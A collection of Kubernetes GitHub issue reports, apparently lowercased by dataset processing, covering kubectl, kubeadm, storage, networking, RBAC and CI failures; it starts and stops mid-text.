libvirt.memory = 2048\r     libvirt.cpus = 2\r     libvirt.cpu_mode = 'host-passthrough'\r   end\r \r end\r    \r \r - os:\r \r    console\r   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel:\r \r    console\r   uname -a\r linux c1 3.10.0-693.2.1.el7.x86_64  1 smp wed sep 6 20:06:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r used kubeadm to install the 1 master 2 node cluster\r

if the load balancer was not setup properly due to another issue, cleaning up the half-created load balancer returns an error and causes the service controller to retry.\r \r  \r /assign\r  /area platform/gce

is this a bug report or feature request?  :\r \r  \r   what happened  :\r  kubectl logs --help  says:\r          --interactive=false: if true, prompt the user for input when required.   \r \r   what you expected to happen  :\r don't suggest that  if true, prompt the user for input when required  -- as it doesn't actually do that when used.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    sh\r $ kubectl logs --help|grep -c2 'interactive';echo \ ---\ ; kubectl logs --interactive=true\r \r   -f, --follow=false: specify if the logs should be streamed.\r       --include-extended-apis=true: if true, include definitions of new apis via calls to the api server.  default true \r       --interactive=false: if true, prompt the user for input when required.\r       --limit-bytes=0: maximum bytes of logs to return. defaults to no limit.\r       --pod-running-timeout=20s: the length of time  like 5s, 2m, or 3h, higher than zero  to wait until at least one pod is running\r ---\r flag --interactive has been deprecated, this flag is no longer respected and there is no replacement.\r error: expected 'logs  pod | type/name   container_name '.\r pod or type/name is a required argument for the logs command\r see 'kubectl logs -h' for help and examples.\r    \r \r   anything else we need to know?  :\r \r  this was reported in  54855 but that issue was closed \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ 9bd4f12c336af339c35e773e1d71a37cad342f57\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t20:57:01z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r  this is indeed head from today \r \r - cloud provider or hardware configuration:\r macos\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r  darwin 17.4.0 darwin kernel version 17.4.0: sun dec 17 09:19:54 pst 2017; root:xnu-4570.41.2~1/release_x86_64 x86_64 \r - install tools:\r    sh\r $ brew install go@1.9\r $ brew install kubectl --head\r    \r - others:\r

  \r work to be done for the \ external client-go credential providers\   https://github.com/kubernetes/features/issues/541  feature over the 1.11 release cycle.\r \r  note: this feature will be modified throughout the release \r \r    features\r -  x  support for tls client certs https://github.com/kubernetes/kubernetes/issues/61421  possibly @awly \r -  x  promote api to v1beta1 https://github.com/kubernetes/kubernetes/pull/64482\r \r    documentation\r -  x  clarify that expirationtimestamp causes the token to be cached in-process,  not written to disk.  @rajatjindal   pr https://github.com/kubernetes/website/pull/7881

is this a bug report or feature request?  :\r \r  \r   what happened  :\r 1. start a kubernetes cluster, gluster clusters and heketi over ipv6\r 2. create a storageclass that use the heketi service ,its name is  gluster-heketi \r 3. create a pvc named  myclaim  ,the storageclassname is  gluster-heketi \r 4. wait for a while, a pv named  pvc-0b096382-31b5-11e8-8991-525400f66312  and a endpoint named  glusterfs-dynamic-myclaim  are created both the pv and the pvc enter bound phase.\r 5. delete the pvc,  kubectl get pvc  shows that the pvc is removed successfully.but  kubectl get pv  shows that the pv is still exists and in bound phase\r 6. recreate the pvc named 'myclaim', there is a pv bound to the newly created pvc, but the endpoint  glusterfs-dynamic-myclaim  does not exist, and the pv can not be mount successfully. logs show that the a pv was deleted and a endpoint  glusterfs-dynamic-myclaim  was deleted.\r \r   what you expected to happen  :\r at step 5, when we delete pvc, related pv and endpoint are also be deleted immediately.\r at step 6,  the endpoint  glusterfs-dynamic-myclaim   exist, and the pv can be mount successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see above description\r \r   anything else we need to know?  :\r in a ipv4 cluster, it works fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.0\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release :centos 7\r - kernel  e.g.  uname -a  :linux controller 3.10.0-514.26.2.el7.x86_64  1 smp mon dec 4 15:49:59 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:ansible\r - others:\r glusterfs: 3.10.11\r heketi: v6.0.0\r

after  62505 merged, we should also show deprecated kube-apiserver flags.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r \r for these 2 test suites visible in the testgrid at network-gce :\r http://k8s-testgrid.appspot.com/sig-network-gce gce-coredns-performance\r http://k8s-testgrid.appspot.com/sig-network-gce gce-kubedns-performance\r \r the testsuite cannot setup correctly the cluster, due to a firewall issue  i think \r see part of the build log below:\r \r \r    \r i0605 12:39:36.975  name                                        status                     roles     age       version\r i0605 12:39:36.976  gce-coredns-performance-master              ready,schedulingdisabled   <none>    27s       v1.12.0-alpha.0.838+def5179c661df6\r i0605 12:39:36.976  gce-coredns-performance-minion-group-377q   ready                      <none>    25s       v1.12.0-alpha.0.838+def5179c661df6\r i0605 12:39:36.976  gce-coredns-performance-minion-group-6w50   ready                      <none>    25s       v1.12.0-alpha.0.838+def5179c661df6\r i0605 12:39:36.976  gce-coredns-performance-minion-group-vf6h   ready                      <none>    25s       v1.12.0-alpha.0.838+def5179c661df6\r i0605 12:39:37.308  validate output:\r i0605 12:39:37.645  name                 status    message              error\r i0605 12:39:37.646  etcd-1               healthy   {\ health\ : \ true\ }   \r i0605 12:39:37.646  controller-manager   healthy   ok                   \r i0605 12:39:37.646  scheduler            healthy   ok                   \r i0605 12:39:37.647  etcd-0               healthy   {\ health\ : \ true\ }   \r i0605 12:39:37.652  cluster validation succeeded\r w0605 12:39:37.752  done, listing cluster services:\r w0605 12:39:37.752  \r i0605 12:39:37.853  kubernetes master is running at https://35.231.139.160\r i0605 12:39:37.955  glbcdefaultbackend is running at https://35.231.139.160/api/v1/namespaces/kube-system/services/default-http-backend:http/proxy\r i0605 12:39:37.955  heapster is running at https://35.231.139.160/api/v1/namespaces/kube-system/services/heapster/proxy\r i0605 12:39:37.956  coredns is running at https://35.231.139.160/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\r i0605 12:39:37.956  kubernetes-dashboard is running at https://35.231.139.160/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy\r i0605 12:39:37.956  metrics-server is running at https://35.231.139.160/api/v1/namespaces/kube-system/services/https:metrics-server:/proxy\r i0605 12:39:37.956  \r i0605 12:39:37.957  to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r i0605 12:39:37.958  \r i0605 12:40:00.832  name                                                             network                  direction  priority  allow            deny\r i0605 12:40:00.832  gce-coredns-performance-minion-gce-coredns-performance-http-alt  gce-coredns-performance  ingress    1000      tcp:80,tcp:8080\r i0605 12:40:01.785  allowed:\r i0605 12:40:01.785  - ipprotocol: tcp\r i0605 12:40:01.785    ports:\r i0605 12:40:01.786    - '80'\r i0605 12:40:01.786  - ipprotocol: tcp\r i0605 12:40:01.786    ports:\r i0605 12:40:01.786    - '8080'\r i0605 12:40:01.786  creationtimestamp: '2018-06-05t05:39:39.559-07:00'\r i0605 12:40:01.786  description: ''\r i0605 12:40:01.786  direction: ingress\r i0605 12:40:01.787  id: '4755345594321156708'\r i0605 12:40:01.787  kind: compute firewall\r i0605 12:40:01.787  name: gce-coredns-performance-minion-gce-coredns-performance-http-alt\r i0605 12:40:01.787  network: https://www.googleapis.com/compute/v1/projects/k8s-jkns-e2e-gce-prl-flaky/global/networks/gce-coredns-performance\r i0605 12:40:01.787  priority: 1000\r i0605 12:40:01.787  selflink: https://www.googleapis.com/compute/v1/projects/k8s-jkns-e2e-gce-prl-flaky/global/firewalls/gce-coredns-performance-minion-gce-coredns-performance-http-alt\r i0605 12:40:01.788  sourceranges:\r i0605 12:40:01.788  - 0.0.0.0/0\r i0605 12:40:01.788  targettags:\r i0605 12:40:01.788  - gce-coredns-performance-minion\r =======\r w0605 13:00:04.876  failed to create firewall gce-coredns-performance-minion-gce-coredns-performance-nodeports in k8s-jkns-e2e-gce-prl-flaky\r =======\r w0605 13:00:04.878  2018/06/05 13:00:04 process.go:152: step './hack/e2e-internal/e2e-up.sh' finished in 26m29.118690007s\r w0605 13:00:04.879  2018/06/05 13:00:04 e2e.go:523: dumping logs from nodes to gcs directly at path: gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-coredns-performance/4/artifacts\r w0605 13:00:04.879  2018/06/05 13:00:04 process.go:150: running: ./cluster/log-dump/log-dump.sh /workspace/_artifacts gs://kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-coredns-performance/4/artifacts\r w0605 13:00:04.924  trying to find master named 'gce-coredns-performance-master'\r w0605 13:00:04.924  looking for address 'gce-coredns-performance-master-ip'\r i0605 13:00:05.025  checking for custom logdump instances, if any\r i0605 13:00:05.025  sourcing kube-util.sh\r i0605 13:00:05.025  detecting project\r i0605 13:00:05.026  project: k8s-jkns-e2e-gce-prl-flaky\r i0605 13:00:05.026  network project: k8s-jkns-e2e-gce-prl-flaky\r i0605 13:00:05.026  zone: us-east1-b\r i0605 13:00:05.026  dumping logs from master locally to '/workspace/_artifacts'\r w0605 13:00:05.833  using master: gce-coredns-performance-master  external ip: 35.231.139.160 \r i0605 13:00:33.644  changing logfiles to be world-readable for download\r i0605 13:00:36.930  copying 'kube-apiserver kube-apiserver-audit kube-scheduler rescheduler kube-controller-manager etcd etcd-events glbc cluster-autoscaler kube-addon-manager fluentd startupscript' from gce-coredns-performance-master\r w0605 13:00:38.107  \r w0605 13:00:38.108  specify --start=42264 in the next get-serial-port-output invocation to get only the new output starting from here.\r w0605 13:00:41.259  scp: /var/log/cluster-autoscaler.log : no such file or directory\r w0605 13:00:41.333  scp: /var/log/fluentd.log : no such file or directory\r w0605 13:00:41.333  scp: /var/log/startupscript.log : no such file or directory\r w0605 13:00:41.337  error:  gcloud.compute.scp   /usr/bin/scp  exited with return code  1 .\r    \r \r \r   what you expected to happen  :\r i would think that setup the cluster is part of the process of the test-infra job, not the e2e test itself.\r \r any missing flag or option on the job definition  see below  ?\r need guidance on how to find the root cause of this error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just look at the testgrid, it happen every 6 hours.\r http://k8s-testgrid.appspot.com/sig-network-gce gce-coredns-performance\r http://k8s-testgrid.appspot.com/sig-network-gce gce-kubedns-performance\r \r   anything else we need to know?  :\r \r job definition is:\r \r    \r   \ ci-kubernetes-e2e-gce-coredns-performance\ : {\r     \ args\ :  \r       \ --cluster=gce-coredns-performance\ ,\r       \ --env=cluster_dns_core_dns=true\ ,\r       \ --extract=ci/latest\ ,\r       \ --gcp-master-image=gci\ ,\r       \ --gcp-node-image=gci\ ,\r       \ --gcp-nodes=3\ ,\r       \ --gcp-zone=us-east1-b\ ,\r       \ --provider=gce\ ,\r       \ --test_args=--ginkgo.focus=\\\\ feature:performancedns\\\\ \ ,\r       \ --timeout=60m\ ,\r       \ --use-logexporter\ \r      ,\r     \ scenario\ : \ kubernetes_e2e\ ,\r     \ sigowners\ :  \r       \ sig-network\ \r      \r   },\r \r    \r \r \r note: this job definition was copied from another one that seems working fine:\r \r    \r   \ ci-kubernetes-e2e-gci-gce-coredns\ : {\r     \ args\ :  \r       \ --check-leaked-resources\ ,\r       \ --cluster=\ ,\r       \ --env=cluster_dns_core_dns=true\ ,\r       \ --extract=ci/latest\ ,\r       \ --gcp-zone=us-central1-f\ ,\r       \ --ginkgo-parallel=30\ ,\r       \ --provider=gce\ ,\r       \ --test_args=--ginkgo.skip=\\\\ serial\\\\ |\\\\ disruptive\\\\ |\\\\ flaky\\\\ |\\\\ feature:.+\\\\  --minstartuppods=8\ ,\r       \ --timeout=150m\ \r      ,\r     \ scenario\ : \ kubernetes_e2e\ ,\r     \ sigowners\ :  \r       \ sig-network\ \r      \r   },\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : current  branch master \r - cloud provider or hardware configuration: gce\r

i would like to use vault as source of secret for my kubernetes cluster. i have read this awesome post https://arslan.io/2018/06/21/how-to-write-a-container-storage-interface-csi-plugin/ post by @fatih . i understand the overall process. i would like to implement a  tmpfs  based volume like  secrets  that provision secrets using vault.\r \r few things that are not clear to me:\r \r - how do i use the service account from the pod where this volume is mounted to issue the secret ? this will ensure authz at vault level.\r \r - vault secrets come with a ttl. so, we need to periodically refresh the secret. i would like to do this via node plugin instead of a sidecar. i got too many side cars already and not enough room for real applications.\r \r is this something that will be possible as a csi driver?\r \r   \r cc: @saad-ali \r \r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when running the command without selectors, everything seems to work:\r \r  kubectl wait deployment/web --for condition=available --timeout=100s \r \r it waits until the condition is met, and then outputs:\r \r  deployment.extensions/web condition met \r \r  or , if it can't find a resource, it outputs:\r \r  error from server  notfound : deployment.extensions \ web\  not found. \r \r which is expected and a useful output. \r \r however, when using selectors, if nothing is matched, it simply returns and does not output anything. for example, if i have a deployment with app=http-server, using selectors still works:\r \r  kubectl wait deployment -l app=http-server --for condiiton=available --timeout=100s \r \r output:\r \r  deployment.extensions/http-server condition met \r \r however, with an invalid selector, it just returns without saying anything was found:\r \r  kubectl wait deployment -l app=http-server2 --for condiiton=available --timeout=100s \r \r  no output from terminal, instant return . it would be much more useful to mimic the behavior when not using a selector, to say that a resource was not found.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration: azure\r

https://github.com/kubernetes/kubernetes/pull/68639 was a temporary workaround to ease the transition from an unsupported alpha config that users were encouraged to use prematurely. \r \r this should be remove in 1.13\r \r /assign\r /milestone v1.13

this came up during a recent 1.13 release team meeting.  event delivery is not actually guaranteed, so any e2e tests that rely on events are susceptible to flakes.  these will become more evident as a cluster is under load.\r \r we should identify which e2e tests are using this anti-pattern, and determine if there is a recipe we can use to rewrite them to be less flaky.  for example, we could likely use polling instead of waiting for an event.\r \r /cc @jberkus \r for any examples of tests that were already identified / fixed \r \r /area test\r  / 

we should add testing that validates that a node is ssh-able before we wait for it to go ready.  this is mostly so that we can get visibility into what went wrong, when things go wrong.

this might require some non-trivial restructuring of the iptables rules.  lower prio

currently if we would like to add a new authorizer, we have to modify the code in  pkg/apiserver/authz.go  to reflect this, and it is not just add one more package import, but also do some modification here:      go const       modealwaysallow string = \ alwaysallow\      modealwaysdeny  string = \ alwaysdeny\      modeabac        string = \ abac\      modewebhook     string = \ webhook\     // keep this list in sync with constant list above. var authorizationmodechoices =   string{modealwaysallow, modealwaysdeny, modeabac, modewebhook}      also here:      go for _, authorizationmode := range authorizationmodes {     if authorizermap authorizationmode  {         return nil, fmt.errorf \ authorization mode %s specified more than once\ , authorizationmode      }     // keep cases in sync with constant list above.     switch authorizationmode {     case modealwaysallow:         authorizers = append authorizers, newalwaysallowauthorizer        case modealwaysdeny:         authorizers = append authorizers, newalwaysdenyauthorizer        case modeabac:         if config.policyfile == \ \  {             return nil, errors.new \ abac's authorization policy file not passed\           }         abacauthorizer, err := abac.newfromfile config.policyfile          if err != nil {             return nil, err         }         authorizers = append authorizers, abacauthorizer      case modewebhook:         if config.webhookconfigfile == \ \  {             return nil, errors.new \ webhook's configuration file not passed\           }         webhookauthorizer, err := webhook.new config.webhookconfigfile          if err != nil {             return nil, err         }         authorizers = append authorizers, webhookauthorizer      default:         return nil, fmt.errorf \ unknown authorization mode %s specified\ , authorizationmode      }     authorizermap authorizationmode  = true }      maybe we should change it a little bit to move some logic into the separate plugin package, so whenever we implement a new authorizer, we just add a simple package import which is very like what we do for cloudprovider, and, maybe  authn.go  also should be considered.

do: https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/extensions/v1beta1/types.go l695 most importantly, https to backend because the customer doesn't have clarity into where exactly a cp is terminating their connection, and obviously no one wants to terminate in some other continent and go over the internet via http because sometimes governments do weird things with http exit traffic.

we occasionally see a mismatch between the sync controller e2e tests that are run and their titles. since ginkgo is a declarative framework and these e2es are setup in an imperative fashion using for-loops, we initially thought this was just a test title issue due to the mismatch between the idioms.\r \r but yesterday while debugging federated daemonset e2e failures, we noticed that it is not just the titles that go out of sync from the tests, but the tests themselves always don't do what they are expected to. the behavior is somewhat random. for example take this ci test run: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/4207?log log.\r \r the titles for 3 sync controller tests have the right object names, i.e. \ configmap\ , \ daemonsets\  and \ secrets\ , but all the three instances are testing secrets instead of testing the the respective objects.\r \r \r  \r /assign @marun @madhusudancs \r \r cc @shashidharatd @perotinus @csbell @nikhiljindal

is this a bug report or feature request?  \r bug\r \r   what happened  :\r \r    \r $ kubectl create ns federation-system\r $ kubefed init my-fed --dns-provider=google-clouddns \\\r         --federation-system-namespace=\ federation-system\  \\\r         --etcd-persistent-storage=false\r error from server  alreadyexists : namespaces \ federation-system\  already exists\r    \r \r   what you expected to happen  :\r i expected the command to not error if the namespace already existed.\r kubefed should only create a namespace if it doesnt already exist, otherwise just use the one i gave.\r \r   how to reproduce it    as minimally and precisely as possible :\r see above\r \r   anything else we need to know  :\r nope\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the  kube-controller-manager  component is working in a degraded mode inside a cluster where the authorization mode is rbac.\r \r   x.509 authentication is used within that cluster and  kube-controller-manager  is using a certificate with the following fields:\r    \r subject: o=kubernetes, ou=kubernetes, cn=system:kube-controller-manager\r    \r \r   the  --use-service-account-credentials  flag is   not   enabled.\r \r   the  kube-controller-manager  logs reveal errors like:\r    \r event.go:217  event v1.objectreference{\\\r  kind:\ replicaset\ , \\\r  namespace:\ kube-system\ , \\\r  name:\ kube-dns-1759312207\ , \\\r  uid:\ 2474cda5-5c01-11e7-84a7-fa163e6dacf0\ , \\\r  apiversion:\ extensions\ , \\\r  resourceversion:\ 371\ , \\\r  fieldpath:\ \ } : \\\r   type: 'warning' \\\r   reason: 'failedcreate' \\\r   error creating: user \ system:kube-controller-manager\  cannot create pods in the namespace \ kube-system\ .  post pods \r replica_set.go:424  sync \ kube-system/kube-dns-1759312207\  failed with \\\r  user \ system:kube-controller-manager\  cannot get replicasets.extensions \\\r  in the namespace \ kube-system\ .  get replicasets.extensions kube-dns-1759312207 \r    \r \r   the  kube-apiserver  audit log reveals errors like:\r    \r audit: id=\ 281bba2c-ec76-4c8e-8aa7-9d90f5fbc89f\  \\\r  ip=\ ::1\  \\\r  method=\ post\  \\\r  user=\ system:kube-controller-manager\  \\\r  groups=\ \\\ kubernetes\\\ ,\\\ system:authenticated\\\ \  \\\r  as=\ <self>\  \\\r  asgroups=\ <lookup>\  \\\r  namespace=\ kube-system\  \\\r  uri=\ /api/v1/namespaces/kube-system/pods\ \r audit: id=\ 281bba2c-ec76-4c8e-8aa7-9d90f5fbc89f\  \\\r  response=\ 403\ \r    \r \r   what you expected to happen  :\r \r the  system:kube-controller-manager  clusterrole should allow  kube-controller-manager  to perform all the actions it is supposed to.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   start  kube-controller-manager  without  --use-service-account-credentials \r   authenticate  kube-controller-manager  with a x.509 certificate where the cn field equals  system:kube-controller-manager   not tested with token or basic auth .\r \r   environment  :\r \r - kubernetes version: 1.6.6\r - cloud provider or hardware configuration: openstack\r - os: container linux by coreos 1409.2.0\r - kernel: 4.11.6-coreos \r - install tools: custom\r - others:\r

>  \r   what happened  :\r after successfully initializing cluster on master node, kudeadm join command from slave nodes to master node fails.\r \r   what you expected to happen  :\r after successfully initializing cluster on master node, expected that i can join slave nodes to master node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r using kubernetes version 1.7.0.\r following installation steps in this url: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r \r 1. on the master node, when i run kubeadmin init, i was getting the following tcp timeout error:\r \r sudo kubeadm init --apiserver-ad dvertise-address=192.168.1.104 --pod-network-cidr=10.244.0.0/16 –skip-preflight- -checks\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters. \r unable to get url \ https://storage.googleapis.com/kubernetes-release/release/stable-1.7.txt\ : get https://storage.googleapis.com/kubernetes-release/release/stable-1.7.txt: dial tcp 172.217.3.208:443: i/o timeout \r \r 2. so tried specifying the kubernetes version, since i read online that this prevents fetch from external website, and with that kubeadmin init was successful.\r sudo kubeadm init --kubernetes-version v1.7.0 --apiserver-advertise-address=192.168.1.104 --pod-network-cidr=10.244.0.0/16 --skip-preflight-checks \r \r 3. ran the below commands and they went through fine.\r   mkdir -p $home/.kube \r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config \r   sudo chown $ id -u :$ id -g  $home/.kube/config \r \r 4. tried to deploy a pod network to the cluster, but fails with the same tcp timeout error:\r kubectl apply -f \r http://docs.projectcalico.org/v2.3/ getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml \r \r unable to connect to the server: dial tcp 151.101.0.133:80: i/o timeout \r \r 5. downloaded the calico.yaml file using browser, and ran the command, it was successful.\r sudo kubectl apply -f ~/downloads/calico.yaml \r \r on the slave node:\r 1. ran the join command, and it fails trying to get cluster info\r \r output of join command in slave node:\r skris14@sudha-ubuntu-16:~$ sudo kubeadm join --token 84525a.8184f7137b525f3a 192.168.1.104:6443\r  sudo  password for skris14: \r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  discovery  trying to connect to api server \ 192.168.1.104:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://192.168.1.104:6443\ \r  discovery  failed to request cluster info, will try again:  get https://192.168.1.104:6443/: eof \r ^c\r \r \r   anything else we need to know?  :\r between the master node and slave node, there is network communication, since ping, ssh,telnet and scp commands work fine between the 2 nodes.\r also, from the slave node's browser window, i am able to reach the web server apiserver  running at port 6443.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : private\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 lts\r - kernel  e.g.  uname -a  : linux skris14-ubuntu16.04-vm1 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r

bug report:\r \r  \r   what happened  :\r when using kubenet with ipv6, the pos fails to come up,\r and the following error message is seen.\r networkplugin kubenet failed to set up pod \ my-alpine-1022664534-30ms5_default\  network: generatehardwareaddr only support valid ipv4 address as input\r \r   what you expected to happen  :\r the pod should come up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r running kubenet with ipv6.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  root@localhost tmp   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.547+42d7a56ea559ef-dirty\ , gitcommit:\ 42d7a56ea559efba25bc88833128349031f6c255\ , gittreestate:\ dirty\ , builddate:\ 2017-07-10t17:15:41z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.547+42d7a56ea559ef-dirty\ , gitcommit:\ 42d7a56ea559efba25bc88833128349031f6c255\ , gittreestate:\ dirty\ , builddate:\ 2017-07-10t17:59:23z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r using local_cluster_up in a vm\r \r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux localhost.localdomain 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r local_cluster_up.sh\r - others:\r

there are currently two different ways of determining request information: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/apiserver/handlers.go l264 and the system of record: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/apiserver/api_installer.go l97 that actually dispatches the calls.  having two mechanisms for determining what verb/namespace/resource/subresource/etc information on the request means that the authorizer can end up out of sync with reality.  collapsing the determination of request information to a single spot with a separate authorize call is one way to eliminate the duplication and avoid false authorization matches due to out of sync request information parsing.  @smarterclayton i think this would address the problem we're having with subresource policy determinations.

 \r   what happened  :\r kubernetes refuses to attach read-only aws ebs volume with this error:\r \r    \r aws volumes cannot be mounted read-only\r    \r \r other volume plugins  except gce pd  attach such volumes as read-write and then remount them into pods as read-only.\r \r   what you expected to happen  :\r aws volume is attached  as read-write  and then mounted into a pod as read-only.\r \r  

we haven't really profiled how long it takes to stop a large rc and i suspect there's a lot of room for improvement. at the kubectl level we should do: https://github.com/googlecloudplatform/kubernetes/issues/8572. at the rc manager level: 1. resize rc to 0 -> \ real time\   or as fast as the watch anyway  2. rc deletes pods -> rate limited to 20qps over all rcs  this connection is shared with node and endpoints controller , so however long it takes  probably as long as it takes to spin up the rc  3. update status.replicas -> \ real time\   as the watch delivers notifications for each pod deleted   here is at least 1 corner case where updating status.replicas can take upto 30s extra:  when the pods controller does a relist  once in 5m  in between when the rc has fired off a bunch of deletes, these deletes have hit the apiserver, but before the watch has delivered those deletes to the rc manager. the relist will not have those pods but the store will. we do not differentiate this case from  dropped deletes: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/controller/replication_controller.go l247   one way to fix this would be for the informer to embed the deleted object instead of just the key, into the tombstone entry.  @kargakis @smarterclayton

kubernetes version: 1.0.3  i'm currently running kubernetes controller stack as a pod under the kubelet using the following pod manifest. making any changes to the api server container causes the following error cycle: - kubelet tries to delete the related mirror pod from the apiserver before starting the new pod and fails.      aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.862907     621 reflector.go:136  failed to list  api.node: get http://127.0.0.1:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.915542     621 kubelet.go:1641  error getting node: node 127.0.0.1 not found aug 17 15:42:18 localhost kubelet 621 : e0817 15:42:18.924649     621 mirror_client.go:68  failed deleting a mirror pod \ kube-controller-127.0.0.1_default\ : dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:18 localhost kubelet 621 : w0817 15:42:18.938026     621 status_manager.go:80  failed to updated pod status: error updating status for pod \ kube-proxy-127.0.0.1_default\ : get http://127.0.0.1:8080/api/v1/namespaces/default/pods/kube-proxy-127.0.0.1: dial tcp 127.0.0.1:8080: connection refused aug 17 15:42:19 localhost kubelet 621 : e0817 15:42:19.088493     621 reflector.go:136  failed to list  api.service: get http://127.0.0.1:8080/api/v1/services: dial tcp 127.0.0.1:8080: connection refused         pod manifest      apiversion: v1 kind: pod metadata:    name: kube-controller spec:    hostnetwork: true   volumes:     - name: \ etc-kubernetes\        hostpath:         path: \ /etc/kubernetes\      - name: \ ssl-certs\        hostpath:         path: \ /usr/share/ca-certificates\      - name: \ var-run-kubernetes\        hostpath:         path: \ /var/run/kubernetes\      - name: \ 